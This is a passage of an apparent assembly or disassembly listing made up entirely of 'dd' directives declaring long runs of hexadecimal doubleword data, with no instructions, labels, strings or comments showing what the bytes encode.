3010E43Ah, 1D80C74Bh, 271D23F7h, 16C5A180h dd 0E404E776h, 14803E82h, 2FFD112h, 6236D50Eh, 0E4A25BE9h dd 0A0D8A99Ah, 0E1B05902h, 0C069B4F5h, 35CA0Ah, 19ABE89h dd 784DB19h, 72002892h, 31C802BDh, 0A0BCAh, 2D7B9056h dd 0DD2EBF18h, 4759800h, 4B455CAAh, 0E6D20039h, 9D861DBh dd 0C07692Fh, 49F7C454h, 27359DF0h, 1DEC982Bh, 9BC07Dh dd 0C5DA8104h, 11CA48D1h, 0E2DD0449h, 54E3988Bh, 317AECE0h dd 0A60E0D01h, 48DB5FE0h, 3FDC4E4h, 0A55BE358h, 2808D8ACh dd 100A0913h, 0AE0C930Ch, 44B12857h, 86443BABh, 3D5C44F8h dd 50597020h, 652528FDh, 0EE4794Ah, 51881D14h, 88AD0908h dd 0D0915019h, 1CA53800h, 1D03B423h, 0A9089709h, 16D28049h dd 0EB8EB5Dh, 90BF44F6h, 2C20C64Eh, 6E89A7Fh, 0C5C7FF00h dd 711BE1DDh, 0C22E00CDh, 0ABAFE0F8h, 0B3013E19h, 7B371D57h dd 3AE49A32h, 0F661004Ch, 0E464A1B8h, 76000DBBh, 0B2C1C92Ch dd 0D3596Ah, 7834D6F3h, 45C64823h, 424DE300h, 82AFE677h dd 179F01FEh, 4A61F022h, 0E2C8FBA4h, 0D200CAFFh, 12F8F998h dd 0AB9AA6h, 67A8D848h, 791B73D7h, 192C2254h, 3DF38709h dd 2C7E809Ch, 6013A333h, 0EA8E2A5Bh, 3E61030h, 0A2AFA5Ch dd 0F406D175h, 4ECC560Eh, 1462060h, 6E85A8h, 5A8BD557h dd 175CF563h, 2FF91D2Eh, 0EDB1E501h, 5681F359h, 0FDCAE189h dd 0C453C895h, 0FBD5CC00h, 0E2F1391Fh, 2C78C02Fh, 2235B731h dd 52611500h, 0D1558C11h, 340E4889h, 0ABD4300Eh, 0EC129D00h dd 14008AB1h, 68FEE14Ch, 7148BBF7h, 8CEF00A8h, 0E921581h dd 7B1CF2F0h, 9F008096h, 1650338h, 6DEF0023h, 0B1F8B386h dd 0EC0567D5h, 0B2712E6Ch, 2620C5C0h, 0B945001Ch, 0FFF3EA15h dd 0E900C575h, 1431DB4h, 1FD66FCh, 0C662CDDAh, 0C44B3465h dd 0AA008961h, 70F82E51h, 6BFF12h, 0A2D86D0Bh, 8CFC6A0Ch dd 94D4C912h, 2F2C9400h, 3D42161Ch, 33005A4Dh, 6D051F7Dh dd 12001122h, 4F297774h, 0EDD3ECh, 7B0A04B4h, 0F01F9FD6h dd 0A5145100h, 0DD43917Ah, 0A04E1482h, 0A901975Eh, 0C05C7473h dd 968C842h, 84BD000h, 8DB390D1h, 6C8C007Eh, 586DB0E2h dd 0A006728Eh, 5B96F57Fh, 10630090h, 298A6EF9h, 3C7C3E01h dd 0F4397407h, 41DE9A92h, 0FD6BE459h, 0D63060h, 8BC18F7Ch dd 1154CD55h, 0D70CD4A0h, 0E50A1700h, 2D45E928h, 374E00D2h dd 4826CF6Dh, 92002BB6h, 5DBBA306h, 2FFBE4h, 0EBF28DC9h dd 38A42749h, 3D51D500h, 3ED246BDh, 77DEC620h, 630E9019h dd 4036A70Bh, 75AABACFh, 0FB41004Ah, 0E10DB63Eh, 4C900E07h dd 1EC55C0Fh, 0A55E03DBh, 8334D0C0h, 7E970035h, 0C4BFFBB5h dd 84001118h, 52A3DF72h, 1624587h, 6E59EEEDh, 200A8F73h dd 1075D37Ch, 949AB400h, 3D5C641h, 33A000CEh, 3997A67Ah dd 1158A805h, 78F70014h, 0F97E9AF0h, 137DCAh, 0CF29BFC1h dd 0D6FA35B3h, 27B72400h, 1D15FE6Ah, 0D7872C5Bh, 1F60306Bh dd 0D100F2F5h, 4838C7F0h, 3C45D34Ah, 0B3002D4Fh, 44280DEBh dd 290076ADh, 0DF548C21h, 0F9E3539h, 1A694B7h, 0C467ABA0h dd 961EB385h, 0B2EC6FDCh, 0CCBF8F00h, 0B67207h, 6193A8C2h dd 0AE42B775h, 0DCA8E00h, 62630941h, 0C6AB1E0Fh, 596B8169h dd 0C8CDE5AAh, 0E00DADCh, 0D3F8633Eh, 1EF3E3A6h, 8015D9D1h dd 0A7CE5E17h, 0F50BFEA2h, 80597382h, 0F1432543h, 0DE120124h dd 764C71F4h, 48020D1h, 0C5EE840Ah, 4513B00Ch, 447F2C00h dd 0A0F363E4h, 0A4191F0h, 0E548B22Eh, 0B7C400AEh, 588E1CAFh dd 0BEE84500h, 9A79B00Fh, 0CD9C0582h, 10605944h, 750090A1h dd 7050F09Eh, 25008AB3h, 1B8F2F78h, 0E02ABEEh, 4E987EA6h dd 39CA6BE1h, 0B698FFCEh, 0BD00D8B1h, 0F7E54631h, 0D1FC63h dd 4C4DDE66h, 989FA74h, 0FF22CE00h, 419C644Bh, 0E4FECCh dd 0ED0D0782h, 0D6EF2F2Dh, 6E10A700h, 0B3316C85h, 4C9B0081h dd 257A0224h, 3701E113h, 9247C03Bh, 72D8D448h, 536600D8h dd 77A6EE9Fh, 390785D0h, 0CEF77C50h, 6FBA9CE0h, 28356063h dd 2C84B1AEh, 4D156807h, 6EE0E058h, 1E5C553Eh, 349BCA0h dd 61FB1882h, 38D046C3h, 0F007C59h, 36C6D831h, 7F64860Dh dd 8876C7D2h, 15F920DFh, 0D01D6735h, 2CC09251h, 0AD7AA6BEh dd 1EB30732h, 513344D4h, 80E8566Bh, 92BF2288h, 671A4Fh dd 11C2CCBAh, 2168C3CEh, 600C4E4h, 0F26B12AAh, 9C0740h dd 5220D966h, 0D0E6608Dh, 92DF5800h, 0F6C26983h, 113100E7h dd 67C656D7h, 0D4F0660Eh, 0BB768D01h, 9A1C9214h, 2FD81C21h dd 3E57009Ch, 0BCD5E0A2h, 0DC009B2Ah, 0DAB34394h, 0ED8D2C4Bh dd 7111EECh, 0F4E76145h, 7894E0FCh, 50006834h, 5BD1BDFAh dd 1F7954h, 5AE8032Ch, 0A444D8E3h, 0E664807h, 9B70B0C9h dd 0F7ADF0h, 734F8C4Bh, 38C4EE30h, 0CBDC2700h, 43C9024Ah dd 641348FDh, 0A10A3700h, 0F4B666A8h, 0FF3B5400h, 2E2FE399h dd 405307AAh, 67A5A401h, 553370B6h, 3D07728Ch, 6C90A9D6h dd 44739780h, 9B9D5041h, 0F8232608h, 7F810214h, 0AC661233h dd 0FB56E601h, 3B0714DAh, 82C70h, 0B43A5AF2h, 0CBB0EE2h dd 3188BF01h, 0A7F51B72h, 1994DDCh, 47710274h, 20E37BEFh dd 290063A8h, 0C5C158C8h, 0F0590Fh, 0E580A0DFh, 7AA825C7h dd 33326A01h, 2F46AAE8h, 93A1E0E2h, 0A1470F14h, 0B82D996h dd 0C26002E6h, 6400C301h, 8DEFC6D4h, 0A09125h, 84F874B8h dd 68239763h, 8060D93Fh, 76B0481h, 1F176D6h, 13B9B4A8h dd 0D08FB747h dd 0BC000B08h, 3988879Ah, 8D31ADh, 9ECE4AD7h, 0A13835A0h dd 0B2083D0Eh, 28C960E5h, 81A40Fh, 0F9D3D9A6h, 0DD74C2E8h dd 1BDF000h, 8F794057h, 9767026Ch, 0E3B43DB5h, 862C2840h dd 55F05101h, 74CDAA69h, 7553DCh, 0AFA5C8ECh, 8505641Ah dd 89B76D00h, 69B29813h, 8CAD002Eh, 9B930ED0h, 0A93DBDB4h dd 97390853h, 503B80D4h, 87E49A3Fh, 0FA04D875h, 23475CE5h dd 12E704A0h, 4CE245Fh, 8119B578h, 0D490A7E1h, 0EB00D481h dd 865691AFh, 79FD959h, 0A13A8A89h, 0A4E1B021h, 810F47A9h dd 0E0B95BBDh, 846F865h, 0CC550090h, 0B7438501h, 1716F1C0h dd 0CC037B15h, 0DB3D06CDh, 381A828h, 0B2F00094h, 82A025B6h dd 5F0BD490h, 80E4B92Ah, 28C7A26Dh, 0EA1C2818h, 0F051A0DDh dd 0A1E205h, 4A44C587h, 3E1A96EEh, 793A6F09h, 744E35h dd 0DAE0A641h, 5B474FB1h, 3E63BB01h, 70CF594h, 4B48F4h dd 8CCF2432h, 5BE4019Bh, 85A8FC00h, 0FAF6BA08h, 0C8840069h dd 0C9F8A23Dh, 15C8360h, 7BDC00F9h, 0FC0DBB08h, 6A580078h dd 0B135137Ah, 0F1C007B6h, 9EFA3860h, 71F00028h, 0FF5E6F2Fh dd 6D009CF5h, 0B1845270h, 1918967h, 4C77E6BBh, 21B40294h dd 0F7DCF8B8h, 0EFAF2100h, 0C534AD54h, 0FFEE0072h, 0BF9AD060h dd 300E2F4h, 0AADE31E0h, 148B7A76h, 0D0F320D1h, 15C03700h dd 3A5F171Eh, 0B1686100h, 0F8DB6D0Fh, 7DE812A6h, 7EA0C0A9h dd 70259937h, 5708817Bh, 0FF72A2h, 0B3D49C99h, 8E44AD01h dd 2BA7D001h, 81CC5B6Eh, 0D480208Eh, 0C0C85E65h, 0EACF55F0h dd 54AEDA00h, 0A0C0BCC3h, 5BB50003h, 8169D170h, 9026069Ch dd 0F1004438h, 75443C63h, 15F30918h, 0E8600D26h, 0B300BA57h dd 0E63E7854h, 62104Ch, 88506BC7h, 0D5C517Dh, 0CCB028C0h dd 1D9805Fh, 2F4D2D05h, 0C4645B71h, 3010E18h, 17DF84E7h dd 0CF8551Fh, 38056216h, 9F10CB6Fh, 0C0DAD8F6h, 4B00FA09h dd 0FBB8170Fh, 0C27F2Ch, 1A0BD429h, 5F610A0Eh, 836C5D3Bh dd 0A2552F5Eh, 0BC501009h, 0F17776CEh, 0CCA4E750h, 4000A070h dd 652B2DCBh, 1AB06Dh, 8D0AF034h, 1E7C9D0Eh, 0B38FF900h dd 4413DFFCh, 35C90DBh, 4739904Bh, 0E5C83DADh, 2C00748Eh dd 1AFF30FEh, 0A01322FCh, 0EAF2B94h, 160BF577h, 48E5DA0Eh dd 914408CCh, 0D2EA4280h, 4A4614h, 0AF9C2004h, 9701822Fh dd 7CB8C254h, 0A080F312h, 20390800h, 0B138DA1h, 3DE30F6Fh dd 11877C00h, 0DBE59EB4h, 7F96E580h, 0B8864C00h, 3D1B57EFh dd 0B5B600F1h, 48B39128h, 0EA008CF0h, 83084B4Dh, 0FB69DFh dd 772BDAEFh, 0E63003ABh, 80317C3Dh, 46B8229h, 15A955Fh dd 1DB0CB33h, 0CC9BBF9Eh, 200058C1h, 0AFFE5CC2h, 33929816h dd 0A5B80FC4h, 9F717088h, 80C09A53h, 33B0A4E9h, 0A7560050h dd 6BFE8723h, 9F1DFFC5h, 0F31D0F3Eh, 834A7445h, 0A068844Ah dd 0A6E75B04h, 7A78090h, 49F0B8F8h, 5A009080h, 4B0FCC50h dd 881F5651h, 9B00B1BEh, 0AF9FFB19h, 1FB24F8Bh, 4176C04Ch dd 2FB84D65h, 0B4390224h, 61CE87E0h, 1C492C4h, 26673758h dd 24478E96h, 3C09B6A8h, 0A2EF0650h, 809AD120h, 391E8BF4h dd 844B000Dh, 0FA72281Dh, 0BB06A345h, 0F177997Fh, 0AD5F0030h dd 0B70825FBh, 4300FC59h, 0B2A4BDD4h, 6017EA9Dh, 6FC988DFh dd 47F637B3h, 75B8BF5Ch, 23246D00h, 0D482E6D0h, 69730EF0h dd 0D14E3DF9h, 805F96CBh, 0DB62F69h, 7D2B3F18h, 276D0B80h dd 62606328h, 0AA018800h, 35C1A7E2h, 121D0096h, 490F10B8h dd 0C2300C0Dh, 0A587F83Eh, 216400E4h, 6318B544h, 4F00A693h dd 107E82FAh, 368197h, 6A1978A8h, 7B2CF945h, 8BF60F17h dd 69C62C07h, 0E0940BB0h, 31C40053h, 25E5A8E2h, 4C1D70A9h dd 0B0687E27h, 123B139h, 93B749EAh, 0F0408203h, 7E365C9h dd 69417011h, 4B6E80BAh, 5B003C3Dh, 42626AE2h, 0E0C4084Ah dd 609C82h, 73CAE096h, 0FF03B89Ch, 0CD7724D4h, 5E801D0Ch dd 40CF4487h, 1C4E05F6h, 38CCF041h, 0A940C17Bh, 58E3B7FBh dd 0E70B18CFh, 0A180BE49h, 2B608C26h, 320FA000h, 21D9E3Eh dd 379200DBh, 3DF8529h, 0B0013DB1h, 5AD2B2FFh, 71FC8B76h dd 50EAFC08h, 98C854h, 14F939D8h, 0A905F1C5h, 6AA7C000h dd 575A2443h, 0DA7C263Ah, 952C34h, 0EF0A863h, 3E0023FBh dd 29777E92h, 9165BFF3h, 2D813958h, 8F6856FCh, 0C989D4EEh dd 9700B2F8h, 0A88D0D8Bh, 1CE5DE64h, 41A549Eh, 800837D2h dd 2DE4EFA8h, 0CE007F76h, 7DF0AC4Ch, 7420973h, 55ABC9A7h dd 0DD7B9059h, 4C01A2AEh, 98CAE32Dh, 0C360C17Ch, 57EE002Fh dd 0AB67D5Ch, 6C2C43D8h, 0D90190F2h, 0AA710D16h, 51F4CEE1h dd 5499001Eh, 8794E04Ah, 0EE01C80Eh, 0E6436C50h, 0BC60B617h dd 0B8690789h, 0D31A6B95h, 6C809E2h, 23000734h, 0D1D4338Ch dd 33A1140h, 7F971E63h, 0D580A529h, 0F500A00Bh, 0B81F7EFDh dd 4C4BC960h, 5E1E0EADh, 3C668EB9h, 0B02F1580h, 0E3027881h dd 5048B4C9h, 6D716033h, 38CE004Ah, 0F2318E1Ch, 0DE03A6EEh dd 1E5C6E6Fh, 0DD180036h, 0FB92034Ah, 0AA0037F8h, 380D30E9h dd 2783BEh, 0BF113671h, 0F186DCCBh, 3320E00Fh, 0EC32E02Ah dd 0A06AD489h, 1236C4C2h, 0F0480E99h, 0B81E61BEh, 0CF47AA50h dd 40EEF0C3h, 986869B3h, 0CBDC008Dh, 41AD6E49h, 53983E9Dh dd 80C75C1Fh, 0BD33D1C0h, 2CCC13Ch, 63DB8315h, 0F760AB48h dd 0E200FB73h, 0A6D3A8DFh, 3AC29C42h, 0F5E9FAAh, 0D4AB7738h dd 666EC4A1h, 0DF86D0A7h, 96021E75h, 0FA3F936h, 24E458h dd 227697C4h, 5D7A7278h, 0EAC50D3h, 148A1F02h, 5868713Ah dd 44004605h, 90B0C345h, 290918h, 3724801Eh, 0FE2DB47Ch dd 0DD009EECh, 87E76922h, 0EFDCAD1h, 0EB0E5D55h, 6709CBA9h dd 0F9750020h, 0CA076A07h, 4923C503h, 4E8B0CC0h, 89E70A61h dd 3CEF9037h, 149CD213h, 92C0E460h, 4FB92A5Ah, 1E203Fh dd 0D0E24DE7h, 0FCF1C6CBh, 1BCE018Ah, 0D95189E5h, 0A7543004h dd 8066763Eh, 0B68FFE6Ch, 4874C853h, 11C0075h, 0ED0900DAh dd 9AE4433Dh, 95724000h, 3B4E499Fh, 49FCB223h, 0D7097CE6h dd 0E493627Ah, 0D0FF6D93h, 0CC65A5C8h, 0A1BAF500h, 84F47EE1h dd 0E5313061h, 99EAC680h, 233EC800h, 5C1D2936h, 0B20E1D40h dd 59883006h, 0AA1839FAh, 63103FDAh, 28B0720Bh, 2DFC66FDh dd 0C880EBACh, 2FCFC0C9h, 63E13812h, 0B50FA700h, 367E85Ah dd 0D9F9174Ah, 6203BEF7h, 3DFFDD4Bh, 561AC81Eh, 0C27B2E61h dd 0C0F81812h, 0B61775C3h, 7F0086BFh, 0DECFFB44h, 4B310F4Ah dd 0E98DDA14h, 0EA78D828h, 23644E07h, 9E0030C6h, 17D405h dd 21B3954h, 1EA70637h, 6012111Ch, 9A838D80h, 1F21CB5Ah dd 404DF108h, 0D556DB0Ah, 0DD70F2F5h, 8F1E7A0Bh, 12E200D1h dd 55BBA82h, 2BDFA9FFh, 6D2CB0B4h, 1797E800h, 0A2A1ED88h dd 92D00734h, 70C10520h, 8A3D7427h, 0D5C4122Eh, 85A70201h dd 22E8B2F8h, 0FF0F003h, 0C1A4DF72h, 0EC9A6500h, 1A002690h dd 0F5A4F3Eh, 0D07837h, 0DA2B035Fh, 0BF98366Fh, 0A4646624h dd 6705AB97h, 8402E002h, 4076DF0Eh, 2C0827D5h, 64701282h dd 0B950C045h, 83004125h, 98811B61h, 98A03CD7h, 0D6B50009h dd 0FD6BDF19h, 991616EEh, 4503C1DBh, 0E5301755h, 0B6E1F404h dd 12AED47h, 707A2FFEh, 0C503728Dh, 93306B4Eh, 67E5B833h dd 0D7D81650h, 2B9401B4h dd 40A42CF7h, 49550ACBh, 0F06F0600h, 69EF5DD8h, 299007C9h dd 30A2DDC6h, 38E3E913h, 0CD18147Fh, 4CE01235h, 55480E2Bh dd 0C620423Ah, 0D9D1D6E4h, 80AD7C3Fh, 206AF36h, 220F7F9h dd 0E3BC0877h, 9CE1D6DBh, 0CC58FA24h, 99854C00h, 3E218D04h dd 2C9D1D57h, 0C819971Dh, 57E3F14h, 0C60066EAh, 4494031Eh dd 1EE2DABCh, 7A96D379h, 0F08A0600h, 0EE7D898Ch, 8D2958E2h dd 4301900Dh, 28A4E4BEh, 156E5CCh, 0CFDDB344h, 0E4574B0Eh dd 0AE2FF6A6h, 0C3D001h, 0D5688188h, 0AA43F5DBh, 0F9D3D100h dd 0AD1BA2DEh, 85540B06h, 74000117h, 12B88A2Dh, 4441D0B6h dd 0BC247803h, 4E183EA8h, 38C7CA0Bh, 61292060h, 58451401h dd 11DB62C0h, 84A6D8h, 7F810133h, 4E3999ACh, 0A9F7FA50h dd 0B8F7261Ch, 96076B2Ch, 8B00A77Ch, 0F2A84F66h, 27F0002Eh dd 8E88BBEEh, 610108E1h, 0ADAB1CE5h, 0D0F06494h, 9BCF30C1h dd 47C0A821h, 61BC9F07h, 29F26826h, 532613Ch, 6E6DE4h dd 0A8403DE9h, 702C3BBh, 694F3000h, 7C5ECADCh, 4E9A00BFh dd 64FA0F2Fh, 3E26A14Dh, 0F00E4070h, 0BA3F604Fh, 0E45BE7D2h dd 0A61F0172h, 0AE2DFDBFh, 2CB47442h, 0C2000773h, 0E3ADC3CBh dd 48D3EDh, 0D47F5CCAh, 8EB203F6h, 84681205h, 802FE6Dh dd 0E0D7C256h, 141F068h, 0A14AE6A5h, 411B937Ah, 949F03F7h dd 0AD4960h, 1F0F500Ah, 0E81745C1h, 92C0E9B4h, 4C44A042h dd 977A0388h, 9DD43D65h, 939E0802h, 0F0BC321Fh, 951014ECh dd 4C3D2CA7h, 1AA4A887h, 5E9240AAh, 9700A6D6h, 1126B409h dd 760B955Dh, 0C520C33Ch, 38007C5Fh, 7D91CC9Bh, 0A047933Dh dd 60B93140h, 521A2079h, 0E5390FA9h, 3D72817Bh, 9E8D9512h dd 0AFA47980h, 0BA329BA8h, 0E27D4CA0h, 0F77B600h, 55E5E7E1h dd 6C5A38F6h, 0BFD84300h, 794F1E15h, 46A45700h, 78CC7A80h dd 0CB3A020Dh, 301803DFh, 5B91C1C0h, 71FA2D00h, 0BFEFE175h dd 6C0A0064h, 0C2868E5Eh, 7C03D010h, 0F96E9511h, 23438839h dd 65F00E0h, 624BABB3h, 42007A24h, 756DFC81h, 144907h dd 8798CC60h, 534582F9h, 6206DC1Dh, 7397EB87h, 50B6C530h dd 2A7A0003h, 81800CC1h, 43004D48h, 0A8A0B93Fh, 15BDEBh dd 9E496124h, 52E33427h, 9B113800h, 0D9CF9622h, 0C0540AE6h dd 9EB4E4FAh, 0F2EE04CAh, 0BA60B813h, 7A15A60Ch, 0BFFC0F10h dd 9A372300h, 0BC87EDD7h, 78B798Ch, 8532FD9Fh, 808A8553h dd 0DBBF9B52h, 0A4F94707h, 6EA12DF8h, 6A64FCD4h, 11B6072Eh dd 1716A2B5h, 0E529F308h, 0E6CDA6C8h, 0BA57CCFFh, 83A8673Fh dd 2DA02AEAh, 5D2FE0D9h, 0C856006Ah, 0BA29D16Bh, 193D2301h dd 59528594h, 0C31F5348h, 0E67FD800h, 0EE0B58h, 322F14EAh dd 1EC3A5ADh, 37BBA605h, 0C000E2DDh, 59483169h, 0D96700F6h dd 95276F90h, 30C038AFh, 4863A34Eh, 46F900E3h, 6ACAC374h dd 717EF816h, 89E92300h, 5ACC1B4Dh, 7F431691h, 3FA100BCh dd 0E5E30197h, 0F8CD2805h, 90C716ECh, 65E2D150h, 26217DADh dd 12081Eh, 0C5978182h, 641CC273h, 551C4D4Ch, 39E3DCh dd 7ADA04F6h, 2416E4FFh, 15B6C0h, 0B059E0ACh, 25B8FA34h dd 0A4290160h, 0D9C19Bh, 9F2B7F45h, 710B56A3h, 2DE45807h dd 22371D63h, 73AA44C0h, 0F0B10564h, 1832C8h, 0D08ACFB8h dd 0ACFEC70Dh, 2DDA0200h, 64E8EF70h, 14A4171Eh, 0C2F42044h dd 0A06EDADh, 0C51B792Bh, 398D0340h, 0C4B7B1EBh, 0ABD01000h dd 0A426AFA5h, 0E6AD7E71h, 58BA4Fh, 0B714089Bh, 0A7E7A0E0h dd 21A3BA00h, 700BBC05h, 0A1F879h, 1196312Fh, 0D6D2CBAAh dd 99EE7C00h, 0AB147502h, 2A220939h, 2C80D4D1h, 3CD51F7Eh dd 0CA8DA203h, 0A86FFC86h, 38896Eh, 0EA3E9B0Eh, 368332A8h dd 44ACC600h, 0B90DDC35h, 7B1A0063h, 46BE19C0h, 0E7006801h dd 0EB6EB26Bh, 508370D8h, 1BBC81Ch, 1A6650F1h, 0C4D125E9h dd 57008E0Fh, 5E237D4Fh, 346DFAAh, 737143F4h, 0E900DBD2h dd 0BF16726Bh, 2107B8h, 8F253875h, 1BAAFE69h, 0B9DCE303h dd 0DAF1410Ah, 319CE0A7h, 190D005Dh, 6A1082FEh, 4E00F7BDh dd 4CCD2FD7h, 91583Ch, 2711CC2Eh, 0EC402A02h, 8DE66207h dd 0E480CFE1h, 93AD4Bh, 79DC21E2h, 480B81F6h, 9AD7B203h dd 0C5B81241h, 0ACFEE440h, 2E8886h, 0C59C76AAh, 3624D983h dd 14952F0Ch, 2B7CD4h, 3E5CFABh, 8362E90Eh, 4F762A12h dd 8889D441h, 0DC403D49h, 0B4D0AC86h, 0FB0400CCh, 0F0C8F411h dd 59749100h, 8BA6364Fh, 1CE12858h, 0DBAD00F2h, 279B8156h dd 0FA7C7B15h, 9D0D710Fh, 60202CC4h, 16B290C0h, 3DEAF1h dd 0D85F1596h, 3000E062h, 358D8A87h, 7872FDh, 8B608691h dd 6F0F2B3Dh, 0B0044305h, 8847BE2Dh, 9C6109C8h, 3D5DA49h dd 0D60BECh, 8F171B3Bh, 0F2788D7Bh, 1019B933h, 0EC18092h dd 0F70100EAh, 18ACD355h, 41015875h, 0DC152F38h, 0D2E8921Fh dd 78340061h, 0E21ED66Eh, 62F00C93h, 52007076h, 96110FFEh dd 1CB98A04h, 7DEDFAh, 2376E9E5h, 0C30AE2E7h, 9CCCC40Ah dd 5EA59587h, 8799D0B0h, 30E11C15h, 1D598058h, 0FCC92547h dd 2D4AA800h, 3250CF6Bh, 0A10600C0h, 0EDB28A92h, 6A00CE0Ch dd 0DD617DDCh, 506930h, 0EC32B152h, 0DBF3BC6Dh, 913C282Eh dd 58DB622Dh, 15FE8Ch, 6CA3129Fh, 9236BF9Eh, 33557D03h dd 0F4ACD6C6h, 0DD28F480h, 43D40CF3h, 0E110BA39h, 44DF3600h dd 0E0C5B1B2h, 0EC8902B4h, 5711B934h, 54ED2460h, 0B0776907h dd 13F061B5h, 3AC893C9h, 0DC873DBDh, 0D4126392h, 5C1C9091h dd 0F8009C11h, 4F9871C4h, 1E74A77h, 0B537B2B6h, 0F011D3B0h dd 8C075406h, 0D8957AEDh, 0C5A3DA10h, 0FA2600A2h, 9179246Ah dd 0D4705540h, 7C8D3200h, 0F36B9C05h, 0D53B01DFh, 25C0611Ah dd 527A70FCh, 4ECBF601h, 12847615h, 0EE9D3D0h, 47A01351h dd 636A85A0h, 0A40003BCh, 4D754ADCh, 0B4CC42h, 2E6DED37h dd 0ECC7B20Fh, 97945007h, 43B051B0h, 0E526E45h, 0FE72DCBBh dd 5BCC1080h, 7C00EC83h, 490C96BDh, 1BE45Fh, 61A732DBh dd 0EED0E938h, 77FBB400h, 0AE1474F4h, 0E4C800C6h, 0E1FFE86h dd 6F0A9206h, 0D68E09DCh, 85A48B00h, 0F01EAAh, 49BE43F5h dd 0F160BD98h, 885D6100h, 0E17D54C5h, 0DCA2008Ah, 55F622EBh dd 0B008C48h, 2B212EC9h, 0FAA71E0h, 4BBC584h, 39FCA5C2h dd 207DB061h, 731C3BD8h, 71C1D2F9h, 0F1B03720h, 0ED234880h dd 5421B7BEh, 6D67A607h, 313074ADh, 539AC4h, 0FF2471A7h dd 1499392Ah, 0CAF2C500h, 0F6A0333Bh, 0B6A246Bh, 562F0090h dd 406DAE3Ch, 8C0E9C00h, 685245C8h, 0EDE50E31h, 9680B83Fh dd 0B5A74137h, 5000F75h, 8A3AE01Fh, 1D6CD318h, 0CFF02909h dd 5420451Bh, 9935470Dh, 8CEBC400h, 0A5D62441h, 0F8C812E1h dd 8DB86Ah, 0F14769C9h, 738B02BEh, 0C4AF261Ch, 395DA8E0h dd 0F74E66h, 0D86D9FDEh, 0D535292Eh, 0DD6BCE00h, 34545694h dd 0BE9700D6h, 1B2EBD12h, 7C00B9D3h, 632FA079h, 0B43A20h dd 0B7D66D75h, 0BFCE8178h, 0F935170Eh, 7D65A67Ch, 1264F071h dd 88AA4C42h, 973630B8h, 4A1120ABh, 32FC7292h, 97DC220Bh dd 0EEC507Dh, 6E9E4095h, 0F4E3409Fh, 15243296h, 0FFC029DFh dd 7884D63Ah, 89BC0020h, 93B826E1h, 0CA353913h, 7E804091h dd 54B43142h, 0EB61C0Eh, 0A130840Bh, 0A78BA5h, 0C2AC2908h dd 1F121647h, 4C8BDC6h dd 0ED18080Dh, 0A6608E7Bh, 0DB7ADCh, 0DE13D648h, 1EB89054h dd 0D596707h, 605ECC0Eh, 615A82E4h, 27A04h, 0FAC55C37h dd 681FC38Dh, 21000DEEh, 0AD16EE25h, 0D42646h, 632E2BE6h dd 0FA486AAAh, 6E18C007h, 0F8175AF9h, 9EDD3860h, 6F7C002Ah dd 708FFA4Dh, 0FB00A6D7h, 0DBA5C576h, 7AD82h, 0ED3C185Ch dd 0F40FA7E0h, 8316A207h, 6E07E0Ah, 39758D9Ch, 3900F96Ah dd 0E602BAB6h, 0FB00B003h, 811611Ch, 0A069DA09h, 0BCA681h dd 0E1CB1DDBh, 0FB8BCD47h, 0B2067900h, 285C2AA4h, 0F3E40016h dd 8D4C5B84h, 0E8002C7Ah, 51791006h, 1460496Eh, 0E058E359h dd 7FE8C880h, 1D741753h, 4754BF00h, 57AEA876h, 94710FE3h dd 0F420D64Ah, 0C7130942h, 18A0B024h, 646D3B8Fh, 3AC01AA9h dd 583A33CCh, 2165B3A8h, 93EA800Ch, 8377467Eh, 396DB601h dd 69ABFC7h, 1FFB8880h, 0EE03CAEh, 1F4B9058h, 700B58A3h dd 0D62800BFh, 49449904h, 0B000007Fh, 0F6F28BBCh, 9D19ECC6h dd 1708C843h, 0D07C092Bh, 3C0E2500h, 401E8CF8h, 7B4733C3h dd 0AB10FFCBh, 24FE8FEBh, 4144E041h, 0EF5E4604h, 0D089086h dd 182AA29h, 0EE899A27h, 0A8003BCCh, 0C1BF3669h, 1A372E45h dd 1FDF0E02h, 0C0E0658Bh, 0BF16300Ch, 5000A40Dh, 0AE18983Ch dd 9A4007BAh, 10EA248Ah, 0A850FF7Ah, 60FA4980h, 1F47D978h dd 9600EF30h, 0D9A26F4h, 118689h, 5B140EE3h, 0B4805A25h dd 0F7F3A800h, 94F98EEEh, 0A48C0785h, 104FFE3Eh, 443849C0h dd 873B6A2Ch, 0CCC0721Fh, 0BDFE1986h, 57FB031Ch, 18E69364h dd 0ABE0A1F3h, 6C004043h, 1F6FF907h, 0AD01BBh, 883CF2A7h dd 344641D2h, 0F8668C03h, 0F07A5175h, 0BBCA23h, 0BE1638DEh dd 0A1626FE9h, 0C7B98201h, 0B7566A53h, 0F9B5ECh, 352AD04Eh dd 757EC085h, 0D30C1E00h, 26346AFFh, 55E601BBh, 0CD6B4F0Fh dd 43DAE445h, 5EFFF000h, 6C907D50h, 7F92309Bh, 678DE818h dd 638220C0h, 0C428EC06h, 0C0427A31h, 3937E2DBh, 9F656E00h dd 62A7C870h, 5F67002Bh, 55A6E010h, 317649CEh, 0B48014A7h dd 0A0E46357h, 61806572h, 0B2043E82h, 0C79435Fh, 0C19DC310h dd 4E011B18h, 0B8CDAF04h, 57FCDFA3h, 4A450058h, 50C37CEFh dd 0E306FDEEh, 0AEFA511Bh, 0E7F72028h, 6BCF4A00h, 2EC2496h dd 0C440167h, 2CE9201Fh, 8941C881h, 27BD2600h, 718D5A5Fh dd 3EB800A9h, 0F895C438h, 2100D7DBh, 1529F333h, 809B4Eh dd 60E75B88h, 65956AD4h, 9100737Ah, 436CBFB5h, 73C3355Ah dd 0D18700D2h, 59F98BCBh, 0C9006149h, 60C6B686h, 757A9712h dd 2CA21DEAh, 6F8C4067h, 0C94E8AABh, 4B88EC1Ch, 51568280h dd 26686C09h, 1342693h, 0C144E8C3h, 0A93DF8ACh, 0A807BF01h dd 0F51E9FC7h, 1C6B4D0h, 0AFAD1B9Eh, 209D24B3h, 0DD0064EDh dd 3D5CA819h, 0F88D76h, 0E8716597h, 9DDE44CEh, 3E79FE03h dd 0A8055D22h, 0C61A80h, 21EC3B75h, 0FDAC26B9h, 0B5001E76h dd 0B102EA7Bh, 8D9EDAh, 0F0DBA890h, 3FF1755Bh, 697BCB00h dd 0C6DA99EFh, 7D0D00D1h, 0F602334Eh, 5FEAC76Eh, 1F00FCF4h dd 435D74B6h, 46F03h, 0FACCE7CDh, 35568C84h, 7C32F00h dd 47401D58h, 97180EEEh, 0C0DD983Ah, 539E6633h, 0EB00CBC5h dd 96308E72h, 0F59DBE7h, 2164FE42h, 4C3F39A0h, 200F0826h dd 0D291870Ah, 8D5B2C06h, 711B1F30h, 